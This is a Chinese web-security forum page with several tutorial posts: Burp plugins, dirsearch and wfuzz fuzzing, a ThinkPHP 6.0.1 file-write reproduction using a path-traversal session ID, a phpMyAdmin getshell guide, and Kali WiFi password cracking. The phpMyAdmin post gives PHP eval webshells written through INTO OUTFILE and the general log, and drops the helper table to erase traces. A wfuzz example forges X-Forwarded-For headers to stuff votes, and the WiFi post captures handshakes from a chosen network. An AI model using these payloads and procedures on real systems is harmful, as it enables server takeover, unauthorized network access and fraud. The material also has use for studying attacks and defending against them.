通知设置 新通知
Burpsuit常用插件推荐
Web安全渗透 • wssmile 发表了文章 • 1 个评论 • 791 次浏览 • 2020-02-22 14:18
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。
下面我们以我自己的留言板登录页面为例
演示一下使用方法。
在scanner里边找到数据包双击,然后会发现可能存在的问题。
另外也能看到一些服务器的信息。
0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。
0x03
CSRF Scanner
也就是可以自动化检测csrf的工具
0x04
CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。
还可以指定注入方式等。
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456
其他按下图设置
然后直接跑即可
因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
查看全部
前言
我们在测试的时候最常用的基本上是burp了,今天在这里汇总了一些burp上的插件,可以让我们在测试的过程中更加的得心应手~
0x01
j2eescan
J2EEScan是一个基于Web安全扫描套件Burp Suite Proxy的插件, 增加了针对J2EE应用的安全扫描测试项目。它增加了一些新的测试用例和新策略去发现不同的J2EE安全漏洞。
在这里找到直接安装就行了。
下面我们以我自己的留言板登录页面为例
演示一下使用方法。
在scanner里边找到数据包双击,然后会发现可能存在的问题。
另外也能看到一些服务器的信息。
0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。
0x03
CSRF Scanner
也就是可以自动化检测csrf的工具
0x04
CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。
还可以指定注入方式等。
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456
其他按下图设置
然后直接跑即可
因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
Fuzz测试初级学习
Web安全渗透 • muyu 发表了文章 • 0 个评论 • 837 次浏览 • 2020-02-16 17:28
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常 这次使用radamsa和afl作为这两类工具
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3python3 dirsearch.py -u "http://localhost/" -e *
扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。
Wfuzz找到下面的漏洞
可预测的认证可预测的session标志(session id)可预测的资源定位(目录和文件)注入路径遍历溢出跨站脚本认证漏洞不安全的直接对象引用…
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
https://blog.csdn.net/JBlock/article/details/88624657 查看全部
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常 这次使用radamsa和afl作为这两类工具
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3
python3 dirsearch.py -u "http://localhost/" -e *
扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。
Wfuzz找到下面的漏洞
- 可预测的认证
- 可预测的session标志(session id)
- 可预测的资源定位(目录和文件)
- 注入
- 路径遍历
- 溢出
- 跨站脚本
- 认证漏洞
- 不安全的直接对象引用
- …
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
https://blog.csdn.net/JBlock/article/details/88624657
代码审计-thinkphp6.0.1任意文件创建
代码白盒测试 • lzy_smile 发表了文章 • 2 个评论 • 492 次浏览 • 2020-02-16 12:17
受影响的版本有think PHP6.0.0-6.0.1
0x01 漏洞复现
复现环境采用了thinkphp6.0.1+php7.1.13+nginx1.11.5 进行复现
首先使用composer创建think PHP6的框架目录
Composer create-project topthink/think tp6
因为这个是默认的最新版本,所以要去对其进行降级处理.修改根目录下的composer.json文件,如图所示:
然后执行composer update
图一
因为在tp6中默认是没有开启session功能,我们要去取消session中间件的注释.文件是app/middleware.php,如图所示:
图二
然后我们在public的目录下修改index.php,添加我们需要的代码.
如图所示:
图三
我们抓取数据包在burp里的repeater模块进行处理,
图四
然后我们在本地根目录下的\tp6\runtime\session中找到了我们刚刚写入的php文件
图五
但是默认的情况下thinkphp的网站把/public设置为网站的根目录,而生成的文件是在\runtime\session下,默认访问不到,所以我们可以用这个方法去饶过它
PHPSESSID=/../../../public/thisisaflag.php
图六
访问thisisaflag.php
图七
这个时候我们就在他的public目录下创建了一个thisisaflag.php文件
我们接下来如何想getshell呢?
我们绕过了访问文件的限制,接下来只要能够控制文件内容即可.我们放入另外一段测试代码,
图八
接着我们写入代码进行测试
图九
试着访问一下
图十
成功了!!!
0x02漏洞分析
在官方的文档上是对\vendor\topthink\framework\src\think\session\store.php中的setId()函数进行修改
图十一
我们可以看到这个函数只对获取到的id进行长度和是否是字符串进行检测!
接下来找到调用setid()的地方
vendor/topthink/framework/src/think/middleware/SessionInit.php
图十二
其中cookiename的值为PHPSESSION,而$sessionid是cookie中名为PHPSESSION的值,因此是攻击者可控的.
既然有setId()就有getId()
图十三
然后看看在哪里调用了getId()
在下面的save()函数里面调用了getId(),接着把得到的值传给了write()函数
图十四
跟踪这个函数,可以看到.
图十五
再继续跟踪writefile()函数
图16
确定是写入文件的操作!!!
再反向看一下,
1.函数file_put_contents($path,$content,LOCK_EX)中参数$path,$content来源于函数writeFile($path,$data)
2.函数writeFile($path,$data)中参数$path,$data来源于函数write(String $sessionID,String $sessiData)
3.函数write(String $sessionID,String $sessiData)中参数$sessionID,$sessiData来源于save()中调用了write(),同时传入的参数$sessionId的值是调用getId()传入的
综上:文件名来源于$sessionId
而$sessionid是可控的,所以可以写入文件!!!
0x03 思路小结
这里对这个漏洞进行分析时,已经知道在setid()函数处存在漏洞,对获取到的PHPSESSION值可控,然后在向服务器存储session文件时也没有检测,可以直接写入php文件,但是在tp6下,session不是默认启动的,所以在默认情况下不能利用.在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击
代码审计刚开始,不足之处各位表哥多多指教! 查看全部
受影响的版本有think PHP6.0.0-6.0.1
0x01 漏洞复现
复现环境采用了thinkphp6.0.1+php7.1.13+nginx1.11.5 进行复现
首先使用composer创建think PHP6的框架目录
Composer create-project topthink/think tp6
因为这个是默认的最新版本,所以要去对其进行降级处理.修改根目录下的composer.json文件,如图所示:
然后执行
composer update
图一
因为在tp6中默认是没有开启session功能,我们要去取消session中间件的注释.文件是app/middleware.php,如图所示:
图二
然后我们在public的目录下修改index.php,添加我们需要的代码.
如图所示:
图三
我们抓取数据包在burp里的repeater模块进行处理,
图四
然后我们在本地根目录下的\tp6\runtime\session中找到了我们刚刚写入的php文件
图五
但是默认的情况下thinkphp的网站把/public设置为网站的根目录,而生成的文件是在\runtime\session下,默认访问不到,所以我们可以用这个方法去饶过它
PHPSESSID=/../../../public/thisisaflag.php
图六
访问thisisaflag.php
图七
这个时候我们就在他的public目录下创建了一个thisisaflag.php文件
我们接下来如何想getshell呢?
我们绕过了访问文件的限制,接下来只要能够控制文件内容即可.我们放入另外一段测试代码,
图八
接着我们写入代码进行测试
图九
试着访问一下
图十
成功了!!!
0x02漏洞分析
在官方的文档上是对\vendor\topthink\framework\src\think\session\store.php中的setId()函数进行修改
图十一
我们可以看到这个函数只对获取到的id进行长度和是否是字符串进行检测!
接下来找到调用setid()的地方
vendor/topthink/framework/src/think/middleware/SessionInit.php
图十二
其中cookiename的值为PHPSESSION,而$sessionid是cookie中名为PHPSESSION的值,因此是攻击者可控的.
既然有setId()就有getId()
图十三
然后看看在哪里调用了getId()
在下面的save()函数里面调用了getId(),接着把得到的值传给了write()函数
图十四
跟踪这个函数,可以看到.
图十五
再继续跟踪writefile()函数
图16
确定是写入文件的操作!!!
再反向看一下,
1.函数file_put_contents($path,$content,LOCK_EX)中参数$path,$content来源于函数writeFile($path,$data)
2.函数writeFile($path,$data)中参数$path,$data来源于函数write(String $sessionID,String $sessiData)
3.函数write(String $sessionID,String $sessiData)中参数$sessionID,$sessiData来源于save()中调用了write(),同时传入的参数$sessionId的值是调用getId()传入的
综上:文件名来源于$sessionId
而$sessionid是可控的,所以可以写入文件!!!
0x03 思路小结
这里对这个漏洞进行分析时,已经知道在setid()函数处存在漏洞,对获取到的PHPSESSION值可控,然后在向服务器存储session文件时也没有检测,可以直接写入php文件,但是在tp6下,session不是默认启动的,所以在默认情况下不能利用.在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击
代码审计刚开始,不足之处各位表哥多多指教!
简述phpMyadmin如何getshell
Web安全渗透 • zh_smile 发表了文章 • 1 个评论 • 1019 次浏览 • 2020-02-14 14:14
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell
(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到select @@datadir;
配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。www.abc.com/bg.jpg/x.phpGoogle爆路径site:xxx.com warning
site:xxx.com “fatal error”测试文件爆路径www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php其它 phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息select version(); -- 查看数据库版本select @@datadir; -- 查看数据库存储路径show VARIABLES like '%char%'; -- 查看系统变量三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效[code] select @@secure_file_priv -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件[/code](2)三种方法
1.常规GetShell
直接通过SQL查询写入shell
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径[code] set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT
在该表中点击插入,值为一句话木马<?php eval($_POST[123]); ?>
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";[/code]
删除该表,抹除痕迹Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表[/code](3)特殊版本GetShell
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html 查看全部
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell
(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
select @@datadir;
配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows[/code]
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.abc.com/bg.jpg/x.phpGoogle爆路径
site:xxx.com warning测试文件爆路径
site:xxx.com “fatal error”
www.xxx.com/test.php其它
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息
select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
[code] select @@secure_file_priv -- 查询secure_file_priv[/code](2)三种方法
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
1.常规GetShell
直接通过SQL查询写入shell
[code] -- 假设物理路径为 "E:\phpStudy\WWW"[/code]
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
查询日志全局变量
[code]show variables like '%general%';[/code]
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径
[code] set global general_log = "ON"; -- 打开日志保存[/code]
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
写shell
[code] select '<?php eval($_POST[123]); ?>';[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT
在该表中点击插入,值为一句话木马
<?php eval($_POST[123]); ?>
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"[/code]
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";
删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表[/code](3)特殊版本GetShell
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html
kali暴力破解wifi密码
无线安全 • cat 发表了文章 • 0 个评论 • 1067 次浏览 • 2020-02-08 15:21
kali通过监听wifi,抓取含有密码的包,最后通过暴力破解获取密码
二、步骤描述
1.购买一张无线网卡,需要具有monitor模式
2.将无线网卡插入物理机,并配置给kali虚拟机
3.监听周围的wifi热点,选择想要获取密码的wifi
4.抓包
5.暴力破解密码
三、过程演示
1. 查看无线网卡是否接入成功,成功会看到wlan0出现ifconfig -a //或者airmon-ng都可以
2. 开启网卡监听模式airmon-ng start wlan0 //wlan0是无线网卡
3. 再次查看网卡信息,注意这里一定是mon结尾,否则是你的网卡无monitor模式ifconfig -a //或者airmon-ng都可以
4. 开始监听周围WiFi热点,显示各个WiFi热点(ctrl C可以停止监听)airodump-ng wlan0mon
上面图片部分参数的意思:
BSSID:MAC地址。
PWR:信号强度,越小信号越强。
#Data:传输的数据。
CH:信号频道,只有在一个频道才可进行下一步操作。
ESSID:wifi的名称,中文的可能会乱码。
5.抓包airodump-ng -c 6 --bssid C6:F1:28:14:F1:F9 -w /home wlan0mon //-c 频道(ch) --bssid wifi的MAC地址 -w 用来存储抓包的目录
抓包成功窗口右上角出现WPA handshake,如下图
